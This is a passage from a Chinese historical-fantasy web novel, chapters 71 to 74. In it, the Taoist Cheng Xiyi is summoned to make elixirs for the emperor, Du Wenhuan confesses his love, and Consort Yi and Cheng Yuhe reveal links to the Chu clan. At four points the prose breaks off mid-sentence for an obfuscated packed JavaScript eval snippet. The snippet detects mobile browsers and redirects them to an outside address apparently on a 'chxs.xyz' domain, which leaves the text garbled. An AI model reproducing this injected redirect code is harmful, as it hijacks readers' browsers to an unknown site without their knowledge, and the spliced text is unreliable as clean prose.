带着这个疑惑,她踱步来到墙边,挨到了杜文焕卧房的窗前,用手指在纱窗上戳了一个小洞,小心地往内看去。 只见杜文焕散了发,里头穿着寝衣,外面罩了一件烟灰色外袍,右手持笔悬在纸张上,似乎正打算写点什么。 可久久不见他动笔,笔尖的墨终于支撑不住,凝成一滴坠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14465399|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在纸面上,染了一圈。 杜文焕终于回过神,轻叹一声,将笔搁在砚台上,脸上依旧是没有表情的,只能从蹙起的眉间看出他此刻的忧虑。 他停顿片刻,从衣裳贴近心口处拿出一枚旧银锁来,那银锁虽仍然泛着银光,但看得出是旧物,尤其是中心处一道仿佛被利器贯穿后修补的痕迹最为显眼。 这东西拿去当铺恐怕也不值几个银子,但此刻却被这位身居高位的大人小心地捧着,仿佛是一块易碎的琉璃或是一捧将化的白雪。 他用大拇指小心地摩挲着上头的痕迹,拿到灯下看了一会,又将它放回心口处。 反复在房中踱步了一会,杜文焕走到门前,推开房门。 窗外的程希夷忙边躲进暗处,边看他是要去哪。 杜文焕往程希夷卧房处走了几步,见房中半点灯光都没有,猜想她肯定睡着了,停下脚步,但想到今天晚上发生的事,他又往前走了几步,吓得程希夷差点跳出来叫住他。 就这么纠结了许久,杜文焕还是忍不住想前去看看,想着就算只看见她睡下也好。 “杜大人!” 身后却突然传来她的声音,回头一看,程希夷裹着披袄站在冷风中,小脸被冻得泛起了红晕,亮晶晶的双眸似乎荡漾着一层秋水,就这么笑意盈盈地看着他:“杜大人站在我房前是要做什么?” “你,你怎么出来了?”杜文焕没做好面对她的心理准备,结结巴巴的,最后只冒出这么一句话。 “睡不着,所以出来走走,杜大人你呢?” “我,我也是。” 一阵冷风吹来,程希夷不自觉裹紧身上的披袄,她想了想,下定决心拉起他的手,说:“外头风大,杜大人想必是有事同我说,有什么就里头说罢。” 杜文焕却摇了摇头:“我进去对你太唐突,连累你的名声,而且这些话,我想借着这冷风,对你清醒地再说一次。” 程希夷愣在了原地。 见她冷,杜文焕便想解下自己的外袍披在她身上,可他自己里头也只穿了件单薄的寝衣。 程希夷按住他的手,接过外袍,主动靠近,几乎要贴紧他的胸膛,然后手一甩,将外袍披在了二人身上。 乍一看,就像是杜文焕用袍子将她裹进了怀中。 “现在你说罢。” 杜文焕定定地看着她近在咫尺的红唇,默默咽了咽口水,心想自己这怎么说得了啊。 可他还是开口了:“我今天晚上对你说的那些话,虽说是借着醉意,但都不是醉后的谎话。我心悦的只有你一个,想结为连理的也只有你一个。” 再次听到这番话,程希夷的心还是止不住地疯狂跳动。 杜文焕的话还未说完:“我知道你身上背负着一些秘密,你要去寻找的东西并不在这里,告诉你这些并不是想束缚你,而是想说我是你的同盟,不论是等待还是助你,都是我心甘情愿的。所以你可不可以再多在我身边待一会,以后若真的要走,先提前同我说一声,让我做好准备,好么?” “只是去我师兄的道观而已。”程希夷伸出手搂住他的脖颈,“我暂时还不打算离开维咸国,即使在城郊的道观,待我入宫为皇帝炼丹后,我们也可以时常在宫城里见面。” “可那时,我们就不能像现在这样了。”面对她的主动,杜文焕也管不得什么克制审慎,低头环住了她,轻嗅她的颈侧,似乎想把她的气味深深印进自己的记忆中。 对于今天晚上自己说的那些话,她并没有回复,但杜文焕要的也并非是她的回复,对他而言,只要她心中有他就足够了,其他的都算是不切实际的奢求。 在这个乱世,如果偏居一隅,即使有短暂的幸福,也注定不会长久,不如保留这份未曾愈演愈烈到把所有事都抛下的心意,共同面对未知的强大的敌人。 待寒风息鼓,冷意消散之时,或许这份情感才能得到一个切切时时的安身之处。 “关于师兄和我师门之事,我想多告诉你一些。” 71. 入宫 临近冬日,下了一场雨后,大部分行人都裹上了薄薄的夹袄,街上来往的人也少了许多,只有菜摊子前仍有许多妇人在挑菜买菜。 “听说了吗?”一个头发挽成髻的妇人一边挑大白菜,一边同一旁的人闲谈。 “什么?”被搭讪的大婶好奇地问。 “城郊那边的道观里新来了个女冠,听说是个清丽脱俗的大美人。”妇人剥去白菜边缘发黄的菜叶,又甩了甩上头的露珠,才递给卖菜的大婶称重,做完这些,她才站起身,继续说,“而且我还听说陛下要召她和之前道观的那位道长去皇宫炼丹呢。” 大婶将白菜称好,放到妇人的菜篮子中,又报了价格,“你咋知道的这么详细,皇宫里的事不是我们这种小民可以知道的罢。” 妇人讲了几句价,少了一文钱后便笑嘻嘻地从荷包里摸出钱递给她,“我儿子在皇宫当差,听说陛下要寻人去找硫磺、朱砂、黄英这些东西,还要造什么炉子。这不是要找道士炼丹还是做什么?” 听她这么信誓旦旦,大婶也信了几分,点点头,颇有些向往:“不知那些道长炼的丹是不是真的能够长生,要是能让我尝尝就好了,不说叫我长命百岁,让我少些病痛就心满意足了。” 妇人嗤笑一声,语气中带了点鄙夷:“就你我这种小民,怎么敢奢望这种东西,就是想也不能想的。” 说罢,她提起菜篮,头也不回地扭着腰肢离开了。 她离开后,大婶也没在意,继续招呼下一个客人,但那位姑娘似乎呆住了,被叫了几声才回过神来。 “嗯,我就要这个。”小春随意拿起几把青菜递给大婶,既没有剥去外层的黄叶子,也没把叶子上的露珠甩了,讲好价钱后,就将菜塞进篮子里离开了。 她提着菜篮子往杜府的方向走回,但走了几步又停住了,转身往城外走去,可还未走到城门前,又转了回来。 反复几次,还是放弃出城去,小春站在城墙边自言自语:“哎,也不知程姑娘如今怎么样了。” 程姑娘数日前从杜府离开了,除了杜文焕,谁也不知道她去哪了。 只是一次偶然间,小春听说城郊道观香火很灵,便找了个日子去那上香,谁知竟然在那碰到了程姑娘。 当时她站在一个生得十分俊美的白袍道长旁边,头戴芙蓉冠,身穿宽袖卷云纹道袍,外罩薄纱,手持拂尘,明丽的脸上没有多余的神情,双眸淡若琉璃,仿若从画中走出来的仙姑,让小春一时不敢上前询问。 毕竟她之前一直看见的是个爱笑的温柔的程姑娘,才不是眼前这个似乎没有任何感情的女冠。 没有感情?是的,即使程姑娘朝这边看了一眼,那个冷漠而陌生的眼神也教人不敢接近。 要不是程姑娘派人来唤她入内院一见,恐怕她一句话都不敢问就回去了。 “小春,”程希夷这么叫她的时候,似乎唤起了自己昔日的记忆,脸上的神色也温和了一些,“你在杜府还好么?” “奴婢一直都很好。”在程希夷面前,小春下意识自称为奴婢,可能是因为隐隐期望她有一天会回杜府罢。 “杜府呢,没出什么大事罢?”问完这句,程希夷顿了顿,垂眸盯着地面,被阴影笼罩的眼神染上忧郁的色彩,“杜大人他...也好么?” “杜大人他不大回来,大部分时间都在翰林院,”小春如实回答,“偶尔回来也只是取些东西,通常待一夜,次日卯时就走了。偶尔见到,奴婢瞧着,是憔悴了些。” “是吗...”程希夷不知悲喜地应了一声,可她的嘴角沉了下去,好不容易有的一分笑意消失不见,她又抬起头看向小春,“你我之间并非主仆关系,也不必自称奴婢。” 小春却没应声,自顾自继续说:“杜大人也十分想念姑娘,您走后,他回府时除了公事,其他时间都待在您的房里。奴婢起夜偶尔路过您的房间,都会听到里头的叹息声。杜大人他虽然嘴上不说,但心里是很期望您回来的。这里太过清苦,您为什么不回杜府呢?” 程希夷蹙起眉头,心中五味杂陈,她摩挲着手中拂尘的长柄,问:“小春,我不能回去,这一切杜大人与我都明白,他也理解的。多谢你的好意。” 说罢,小春也知道自己该回去了。 临走前,小春回头看了一眼程希夷,摇了摇下唇,终于下定决心,转身回去抓住了程希夷的手,急切地说:“姑娘,我不知道您是什么人,也知道这是我不该问的,但皇宫是很危险的地方,君王之怒难以承受。今日君王宠爱,加官进爵,明日说不定就人头落地。” “!”程希夷没想到一直谨小慎微,守好自己奴婢本分的小春竟然说出这么大逆不道的话来。 似乎是怕程希夷不信,小春又补上几句:“我知道以姑娘的智慧,不会不知道。但姑娘可能不曾经历过,所以难以体会。奴婢不是一开始就是奴身,奴婢的父亲曾经是个小吏。” 程希夷认真地看着眼前这个眼角快要沁出泪水的姑娘,不曾想她也有过富裕的生活。 “当年陛下宠爱巫师,底下的官吏也纷纷效仿,以巫师为座上宾,我父亲也是其中一员。当时他为此得到上级官吏的重用,一路青云直上,可后来,也是这层关系,成了他的罪名。勾结巫师,迷惑君心,判十四岁以上男子斩首示众,女子充作官妓。见我当时年纪太小,网开一面,让奶娘抱了我出来。她将我养到十一二岁,卖给一户人家当奴婢,辗转了许多户人家,颠沛流离,其中辛酸,不足为外人道。” 小春说到动情处,眼泪终于忍不住流了下来。 她草草抹了一把脸,程希夷递来一块帕子,她只是略微擦了擦,就放到袖中。 “姑娘,我说这些,并不是为您的同情。”小春说,“只是我看见您,总感觉十分亲切。您是个好人,我怕当年的事再次重演。也许,也许是我担忧过头了。” “我会没事的。”程希夷拍拍她的手背,以示安慰,“多谢你同我说这些。没有对我的信任,说不出这些肺腑之言。我只是顺着天道而为,而天道是不会错的。” 小春懵懵懂懂地点点头,忧心忡忡地回去了。 她前脚刚走,后脚就来了个穿着整齐的道童,朝程希夷恭恭敬敬行了个礼:“师叔,马车已经备下,师父让您准备入宫。” “好,我知道了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她先凝神聚气,摸了脉搏,又不动神色地观察了皇帝的印堂、双颊、侧耳、嘴唇,方收拾好东西,退到一边,给出了她的诊治结果:“陛下是否近期感觉头重脚轻,尤其是眉心处隐隐发痛,而且下腹疼痛,时常力不从心?” 皇帝脸上一阵白一阵红,她所言分毫不差,差点将他的隐疾说出,幸好言语隐晦,保住了他几分面子。 “那你有何办法?”他冷冷道,心中打定主意,若是她不给自己一个满意的答复,他立刻就以胡言乱语冒犯君颜将她拖出宫殿乱棍打死。 “此病无妨。”程希夷察觉到皇帝言语中的杀意,但她心里感觉不到任何恐惧,或是别的多余的情感,她依旧不紧不慢给出了自己的建议,“陛下只需补精存气即可,内服食丹药行气,外修守养生运气之法。贫道需数十种药品炼制太清金液神丹,以为保养之药。” 皇帝还有些疑虑:“此丹你有多少把握可以练成?” 程希夷一字一句,肯定地说:“此药十分简单,贫道有十成十的把握。” “好!”皇帝打消了怀疑,一口答应,“既然你有如此把握,从明日起,你就住在宫中专门替朕炼丹罢。” 程希夷的目的就在于此,自然应下:“谨遵陛下谕令。” 72. 道观 得了皇帝的谕令,程希夷与周霁雪便告退,内侍送他二人出去时,迎面遇到了来见皇帝的杜文焕。 内侍一见杜文焕,忙笑脸迎上,说:“杜翰林,陛下在里边等您许久了,快些进去罢。” “嗯。”杜文焕微微颔首,脚下的步子也快了些,只是眼神不自觉扫过一旁的程希夷和周霁雪。 周霁雪一改之前的针锋相对,也笑对杜文焕:“杜翰林。” 程希夷看了他一眼,又低下头,她双手作揖,微微躬身:“杜翰林。” 的确如小春所言,杜大人瞧着是憔悴了许多,尽管发冠衣着仍是一丝不苟,但眼下发青,就连胡渣也长了出来,颇有点当初她第一次见到杜大人时候他的模样。 当时他是在为官员被杀案烦恼,如今杜大人又在为何烦恼呢? “二位有礼了。”杜文焕点头作为应答,语气中不参杂丝毫多余的情感,只是眼神还是没有忍住,悄悄多看了她一眼。 随后同他们二人擦肩而过。 程希夷在那一瞬间想伸手拉住他,可终究只让指尖滑过他的官袍,独留下绸缎光滑的触感和指尖萦绕的竹香,而她身上沾染的那股浓厚的檀香终于被风吹散。 “师妹,师妹?” 不知唤了多少声,程希夷才回神,她眨了眨眼,眼前华贵的观园渐渐浮现在她眼前。 “这是?” 一旁带他们前来的内侍回答:“这原是旧官署,后来不用便闲置了下来,陛下命人将其修缮了一下,可暂做二位所居的道观。这儿身处皇城,各级官署都在此,而这离内宫最近,方便二位道长随时进宫觐见陛下。” 官署上先前的牌匾已经被撤下,也刷了新漆,只是还未挂上新牌匾。 跨过门槛,便可见一正堂,从庭中青石路经过,两侧种着玉兰树,临近冬季,凋落的树叶将地面铺了一层褐色,不远处是一口大缸,缸中盛满清水,倒映出屋檐的影子。 入了正堂,正中央摆着一张案桌,上置着一个香炉,并几样贡品,供着三清塑像,其余诸多法器也一应俱全。 后院便是左右厢房,供人休憩。 再往后,拐角处有一间宽敞的房屋。内侍命人打开门,只见屋内有一人高的八卦炼丹炉,旁边放置着一些矿石,黄、红、白等诸多颜色,程希夷一看便知那是硫磺朱砂一类的东西。 内侍问:“二位道长要给这道观取个什么名字,内臣也好早些上报礼部,将牌匾送来。” 周霁雪沉吟了一会,并未想到合适的,便问程希夷意见:“师妹以为呢?” “不如就叫‘务虚观’罢。”程希夷笑了笑,“这儿原是官署,行的是实务,而如今做了道观,供奉香火,为陛下炼丹,虽看似虚幻,但并非无用。经书上有言:‘有之以为利,无之以为用’,官署为陛下谋利,而道观为陛下谋用,皇城之内皆是陛下之臣。” 闻言,周霁雪意味深长地看了她一眼,低头浅笑,附和道:“师妹说得有理,贫道也认为此可以为名。” 内侍似懂非懂,但程希夷这话也不是说给他听的,他先暗中记下,好待会传报给皇帝。 “那内臣便告辞了。” “慢走。” 内侍前脚刚走,门还未关上,程希夷脸上的笑意瞬间消失殆尽。 方才那番近乎谄媚的话,让她胃中一阵翻滚,差点控制不住脸上的表情。 “师妹,你真的变了许多,居然愿意向皇帝示好,令我刮目相看。”周霁雪仍旧挂着笑容,不论面对何人何事,他总是带着温和的浅笑,可眼神中藏着不易被察觉的寒光,让人捉摸不透,又以为可以接近。 “或许这就是成长罢。”程希夷自嘲地笑了笑,往后院走去,“师兄,你不是说剩下那半本宝卷就在皇帝手上。可我今日替皇帝诊治,也并未发现有任何使用过宝卷的痕迹。” “我也只是猜测。”周霁雪随她入后院,脚步踏在青石板上敲出沉闷的声响,“剩下那半本宝卷散佚许久,师尊说当年她与楚氏一族的一个医女将它一分为二,各存半卷。后来医女一家被皇帝处死,家业被抄,宝卷自然也应该落入皇帝手中。” 程希夷猛地抬起头:“又是楚氏一族?!” “怎么了?”周霁雪不明所以。 “师兄,十三年前,楚国公一家因勾结巫师被皇帝处死,而我家因与楚国公一家交好而被牵连。”程希夷感觉眼前似乎有一个难以打开的结,但自己终于抓住最关键的那根线,只待一扯,此结便会散开,所有的线将会明晰。 她继续说:“我从前以为陆家被楚国公牵连实属巧合,但现在看来,陆家的确与楚国公一家有着千丝万缕的联系,甚至不仅仅是表面的交好。” “何以见得?” “从仙山带回来的那个盒子中,有一枚药草的种子给了楚氏一族的医女,然后她将药给了我娘,而后便生下我。如果不是十分要好的交情,这种子想必也不会给我娘服用,我娘也不会用它。有这种交情又姓楚的,只有楚国公一家。因此楚国公一家就是从天末国来的,楚氏一族的后人!而那宝卷,若不在皇帝手中,或许仍然留在楚国公一家的手里,说不定就在唯一留下的女儿的手里。” 说到这,程希夷的目光黯了黯,“可惜这个女儿嫁给了刑部侍郎唐越,前几年死了。” 周霁雪原本听得聚精会神,忽然一个激灵:“你是说唐越?” “他怎么了?” “也许跟这件事无关,但我去唐府时碰到了一些奇怪的事。”周霁雪说,“唐府从外看并不反常,可一进府,便觉阴气扑面而来,有一股黑气围绕在唐府上方,而最集中之处是后院一个极为僻静之处。古怪的是,唐越请我去镇宅,却不许我去那里。” 周霁雪边说边回想,当时唐越先是请他去前厅,问是否有镇宅驱邪的符,得到了肯定的答案后,便讨要了几张符。 整个过程都十分客气有礼,直到他提出这宅子里似乎有不同寻常的阴邪之物,而且源头就在后院。 当时唐越的脸色就变了。 “那时他只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14593159|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是说有符咒即可,不需要做其他法事。”周霁雪思忖道,“这些大户人家最忌讳自己家有什么中邪之类的事,所以我也理解,可如今想来,他那晦暗的眼神极不寻常,那儿一定藏了什么东西。” “不管藏了什么,我一定要去唐府一趟。” 周霁雪并不赞同:“你以什么身份去?要知道唐越是陛下最信任的臣子,以你我的身份,总不能同皇帝说那儿有邪祟罢。” “这自然不能说。”程希夷摇摇头,表示自己并非这个意思,“我怀疑楚国公的女儿并没有死,有个叫‘连萍’的人让我一定去唐府一趟,救一个名为楚风絮的女子,她就是楚国公的小女。若她死了,连萍自然不会向我提这个要求。因此我打算过几日潜入唐府探查,找到这个人。” “好,若你需要什么帮助,随时可以找我。” “多谢师兄了。” 程希夷来到炼丹房前,推开门,看着空荡荡的炉内,说:“这几日工部应该会找几个小童帮忙烧火炼丹,我也会开始替皇帝炼制太清金液神丹。” “这丹药,你果真有十成把握?”周霁雪想到她在皇帝面前那一番话。 “炼丹,我自然是擅长的。”程希夷伸出手指,挑了一点朱砂,又放在手中捻了捻,红色很快染上了指腹,“这药也是有用的。不过人的贪欲无穷无尽,皇帝又是至高无上的君主,掌握天下臣民。只要皇帝不满足于治病,而想要长生不老,到时候我需要任何的宝贝,皇帝都会给我。” 周霁雪却蹙起眉头,“师妹,我竟有点看不懂你了。你不只是为了那半本宝卷么?” “我要的的确不止于此,”程希夷说,“我要靠天下的宝物修补我的魂魄,我还想多留在世上一段时日。” 是的,她不想成为被摆布的工具,不想如天君所言,六个月后就这么消散在天地之间。 似乎是怕周霁雪不理解,程希夷补充说:“师兄你放心,我不会伤害任何人的。我只是想修补魂魄,对财富权力并没有兴趣。” 对他们而言,这些就是过往烟云,并不能让他们违背本心。 周霁雪也明白,所以他相信程希夷。 “师妹,我们共同的敌人是那个叫天君的人。你要修补魂魄,我也会帮你。但愿你能坚守本心,不被外物奴役。” 程希夷不以为然:“这是当然。” 二人还要再说些什么,外头忽然传来敲门声。 “咚咚咚!” 是谁?内侍刚走应当不会来得这么快。 程希夷眼神中闪过一丝寒光,与周霁雪对望一眼,便走到前厅开门。 门外站着一个小宫女,程希夷见过,似乎是宜妃身边的。 见门开了,小宫女眨巴眨巴眼睛,见是程希夷开门,眼睛一亮,恭恭敬敬地行了个礼:“程道长,宜妃娘娘请您过去。” 宜妃找她做什么,莫非是为了给皇帝炼制的那个丹药?程希夷心中有疑惑,但还是应下:“贫道这就随你过去。” “请随奴婢来。” 73. 宜妃 另一边,杜文焕进了紫宸宫,皇帝便吩咐左右退下,宜妃随同宫女太监出去了。 皇帝放下手中的书卷,从卧榻上起身,神情变得严肃起来,“杜卿,朕让你查的事如何了?” 杜文焕:“臣命人暗中查访,尤其是酒肆之类的商铺,确实发现有些天末国的人在暗中活动。” “他们都做了些什么?” “他们行动比较隐秘,臣只查到他们买了这些东西。”杜文焕从袖中拿出一张纸片,递给皇帝。 皇帝的眼神从纸片上浅浅扫过,冷哼一声:“除了丝绸之类的东西,他们还大量采购了朱砂黄英?非我族类,其心必异。虽然朕不知他们到底要做些什么,但这次天末国使臣来访证明他们的目的绝不仅仅是为朕祝寿。还记得使臣在宴会上拿出的那幅画么?” “臣不大记得清了。”杜文焕当然记得那幅美人图,上面所画的那个女子与季棠那幅画上的女子一模一样,绝不可能如此巧合。 闻言,皇帝从一旁拿出画轴,微微抬起下颌,示意他打开看。 展开一看,果然是那幅美人图,画中女子幽怨动人,堪称世外仙姝。 皇帝瞄了一眼那幅画,眼神变得悠远,似乎陷入了回忆,然而这神情之中又参杂了诸多复杂的情感。 “她长得是不是很像宜妃?”皇帝突然发问。 杜文焕一愣,不知皇帝的用意,停顿片刻,随即回答:“有几分相似,但宜妃娘娘温婉贤淑,更有帝妃之风。” 听到他这番滴水不漏的回答,皇帝也不戳破,继续说:“宜妃温婉贤淑,可朕就是看中她与画中之人相似的眉眼和眉间的那丝幽怨。” “...臣愚钝。” 皇帝大笑了几声,拍了拍杜文焕的肩膀,“朕不怪你,这件事埋在朕心中许多年了,一直没人可说。不过,他们这次拿这幅画做文章,就说明他们有意将当年的事翻出来。而朕绝不是坐以待毙之人!” 经历之前诸多事件,杜文焕隐约猜出“当年的事”究竟是什么。 果然,皇帝接着说:“十三年前那件巫术案,朕以为早已了结,没想到如今又被有心人利用,企图动摇民心。杜卿,你应当知道了罢,官员被杀案中的赵赐恩、郑敬荣和李长禄——也就是李允,就是当年写密信揭发楚国公之子的三个人。” 事到如今,杜文焕自知再也不能装糊涂,及日本当初查官员被杀案的一举一动在皇帝的监视之下,那么之后他去刑部调阅巫术案的事皇帝想必也知道,“是,臣询问郑敬荣时,知道此事,后来臣去刑部翻阅巫术案的记载,但只查到此案发生于十三年前,楚国公之子因勾结巫师,欺上瞒下被关进牢狱,楚国公一家被处决,牵扯者众。” 他简简单单一句话带过了诸多信息,比如楚国公一家中还有个外嫁的女儿没被处决,牵扯的人中有一家姓陆的,四十多口人被烧死在大火中,幸存下来的陆知的女儿陆卿云失去所有记忆,改名换姓成了道士,而陆卿云的堂妹陆浮梦被父亲送入宫中,成了如今皇帝最宠爱的宜妃娘娘。 这些都是不能说给皇帝听的,至少不能让皇帝明白自己知道这么多。 帝王之心易猜忌,巫术案就证明了这一点。 皇帝的声音从头顶上方传来,参杂了几分得意,“杜卿只知道这些也不能怪你,刑部那些人知道的也不比你多。朕是老了,但威严还在,没有朕的允许,没人敢多透露半个字。” “陛下正值壮年,诸臣自然要仰仗陛下天威。” 皇帝摆摆手,“这里只有朕与你二人,奉承话就不必说了。巫术案的内情朕不欲让天下人知,所以让你身居翰林之位,暗中查访天末国人的踪迹。本来朕是让唐越去查的,但他办事不利,让他去审问官员被杀案中的女杀手,他竟然让人跑了。” 女杀手就是郑敬荣的小妾赵怜,后来查明她实际叫夏初莲,隶属一个名为“同云”的杀手组织,以银钩为信物,称首领为月君,以颜色分等级,从高到低依次是“白、碧、青、黄、墨”。 而夏初莲就属“碧”字第二号。 但她从狱中被人劫走并不能完全怪唐越,前不久皇帝寿宴时,大理寺牢狱守卫薄弱,狱卒都喝了酒,一时大意,竟被人救走夏初莲。 当时唐越在寿宴结束后马上赶往大理寺,但已经来不及了,大理寺的监狱内只留下被杀的无足轻重的杀手和夏初莲解开的锁链。 之前审问了许久,也只知道这个组织活跃于维咸国南部,尤其是沿海地区。不仅如此,他们跟天末国也有一些来往,能暗杀官吏挑战朝廷的权威,绝不是简单的杀手组织。 不过夏初莲这次被救倒不是全无收获,狱卒一时松懈,但牢狱里不是一般人能轻易进去的,而且怎么能刚好在狱卒酒酣时这么快就救走人,时间把握得太过准确,这说明朝廷里一定还有他们的线人,并且这个人地位不低。 “杜卿,你说朕能够信任你吗?”皇帝挑眉看向杜文焕,略显疲态的眼窝里却闪着如豹子般锐利的目光。 “臣自当尽心竭力,为国鞠躬尽瘁死而后已。”话是这么说,但杜文焕明白皇帝要的绝不是表面上的忠诚,而且,皇帝既然这么问了,自然是暂时信任他的。 果然,皇帝只“嗯”了一声,脸色没有太多变化,只是从一旁拿出一个盒子递给杜文焕,“杜卿,你将这盒中的谕旨交给刑部的人,他们自然会领你去查阅,你可不要辜负朕的信任。” “臣定不负所望。”杜文焕撩袍跪地接下盒子,如此一来,这件事的源头就会找到,那么一切将会明晰。 熬过了深秋寒冬,那个光明的春天就不远了。 那时,他与程希夷也许可以离开这个纷繁复杂的官场,去她从前所住的仙山上,看那棵陪伴她成长的参天大树,再搭一个小亭子,闲时看孤鹜齐飞,红霞满天。 二人就这么相伴就好,他也不奢求更多,若她觉得无聊,便去四处云游,与她相伴,怎样都好。 会有这么一天的,他已经看到了曙光。 —— 宜华宫,宜妃居处。 程希夷还未进去,便嗅到一阵香气。 不同于皇帝的紫宸宫所熏的檀香,宜妃住处的香气更像是刚出炉的糕点所散发出的阵阵让人垂涎的香味。 宜妃的宫殿铺设得十分奢华,进门便看到一侧摆着一株足有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686126|131938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半人高的红珊瑚,鲜艳欲滴,浑然天成。 宫里烧了地龙,所以不必生炉子,也用了熏香,但是若有似无的清香,如品茶一般,初闻清苦,久而便有股香甜之气萦绕胸中,让人神清气爽,身心舒畅。 其余各类金丝屏风,绫罗绸缎,玉器珠宝自不必说,若不说这是宜妃之居,恍然会让人以为是一座宝库。 宜妃梳着飞仙髻,侧插一支玛瑙垂珠金步摇,珠子刚好垂到她优美的肩颈处,而那戴着一串璎珞,璎珞上又点缀了珍珠、玛瑙、琉璃等诸多宝石,流光溢彩,华贵精致。 若不是她此刻正在呵斥一个宫女,程希夷一定会觉得她是一个温婉和善的美人。 “本宫说了,这一碟要放在道长手边处,连碟子都摆不好,还在这做什么?下去领罚,也不必来了。” 她伸出纤纤素手,将宫人没摆好的碟子摆正,忽听身后传来宫女的声音:“娘娘,程道长已经来了。” 宜妃回过头,刹那间,程希夷在她的眼中看到了怀念和殷切。 她挥斥宫女:“我与程道长相谈,你们不必在此,都退下罢。” 宫女齐声呼:“是。” 待周围的人都走了,宜妃才指了指自己对面的座位:“程道长请坐罢。” 程希夷不理解她是要做什么,只好依照吩咐坐下,又说:“不知娘娘唤贫道前来所谓何事?” “此事说来有些长,程道长不如先用些糕点罢。”宜妃指了指她面前的一碟白色的糕点,脸上少有出现了些许天真的小女儿神态。 程希夷伸手拾了一块糕点,放入口中,糕点入口即化,甜而不腻,还有股清香,的确为上品。 “如何?”宜妃见她吃了一块,忍不住询问。 程希夷起身谢恩;“娘娘宫中的糕点自然是美味的,贫道谢过。” “我,我不是让你说这些!”宜妃着急起来,连“本宫”都忘了,称起“我”来。 她蹙起眉头,小心地提醒:“这是茯苓糕。” “贫道从前也吃过茯苓糕,只是不如娘娘宫中所做的美味。” 见她还没领会自己的意思,宜妃着急起来:“难道这没能让你想起什么吗?” 程希夷糊涂了,她到底在卖什么关子,“娘娘的意思,贫道不太懂。” 宜妃终于忍不住,不顾仪态和身份,上去抓住了她的手,颇有些可怜地说:“姐姐,我是小梦啊。” “小梦?陆浮梦?”不知为何,程希夷想到了这个名字,自然而然就说出了口。 “姐姐,你认出我了?”宜妃大喜过望,“我就知道,你不会忘记最喜欢的茯苓糕,我让厨子试了许多种才试出那年我们在府中所吃的那种。” “娘娘认错人了,我并不是你的姐姐。”程希夷的确没有认出她,只是忽然想到宜妃闺名陆浮梦而已。 宜妃跟自己不过几面之缘,为何如此肯定? 十三年了,宜妃当年也不过是个几岁的小娃娃,哪里会记得这么多,而且数年容貌变化,宜妃怎么认得出来。 既有这个闲心管人家家事,又有这个本事可以将消息传递给宫里的,只有一个人。 74. 棋手 “娘娘,往事已经湮没在尘土里,没有必要再提起,小心被人利用。”程希夷抬眼看了看面前的人,又在撞入那双充满希冀的眼睛时骤然移开了眼神,出声提醒,“贫道也什么都不记得,若没有其他吩咐,贫道就先告退了。” 说罢,程希夷行了个礼,转身离开。 “且慢。”一旁的暖阁里隐隐约约出现了一个身影。 却不是宜妃的声音,而是一个极为熟悉的清冷的女声。 这个声音在往日的很长一段时间里一直指引她去做很多事,而今,程希夷已经许久未曾听到了,还以为这人已经放弃用身世来干预她的选择。 “浮梦,”程玉和平静自如的语气就像是在吩咐自己的下属,“让她进来罢。” “是。”宜妃却没觉得有何异常,应了一声。 宜妃将程希夷引入暖阁内:“你们在这边,我替你们在外守着。” 程玉和从暗处走出来,她的身上依旧裹着厚重的狐裘,眼睛被蒙上一层白布,此时却不需要人扶,仿佛能透过那层白布视人般站到程希夷面前。 程希夷冷静地看向她。离开了程宅,没有那些药物的掩饰,她身上那股夹杂着坟土和血腥的气味再也遮盖不住。 但有一点是肯定的,那就是她绝不是个活人。 “希夷,你既然知道是我,又何必急着离开呢?” “原来你可以自由出入宫廷?”程希夷朝她走近,可即使没有那些药物,她也看不出面前的程玉和到底是什么东西。 阔别多日,她的模样没有任何变化,只是周身更冷了些,尤其是自己不再是鬼魂之后更有这种感觉。 “这所谓的‘自由’自然也是要有代价的。”程玉和从腰间解下一枚玉佩,放在手心展示给她看,“这是我祖上之物,能保住我的魂魄不散。” 程希夷瞥了一眼,这枚玉佩通体雪白,形状像是一只有九个头的鸟,鸟身体的中心处有数道刻痕,这些刻痕如同一个个内收的月牙,组成了一个字,但她并不认识这是什么字。 “此为天末国的古字,即是‘楚’字。”程玉和十分坦然,并不怕自己被揭穿,“你应该明白。” 九头鸟,“楚”,程希夷明白了,“原来你是楚氏一族的人,巫术案,天末国都跟你有千丝万缕的联系。程玉和你到底想做什么?!” 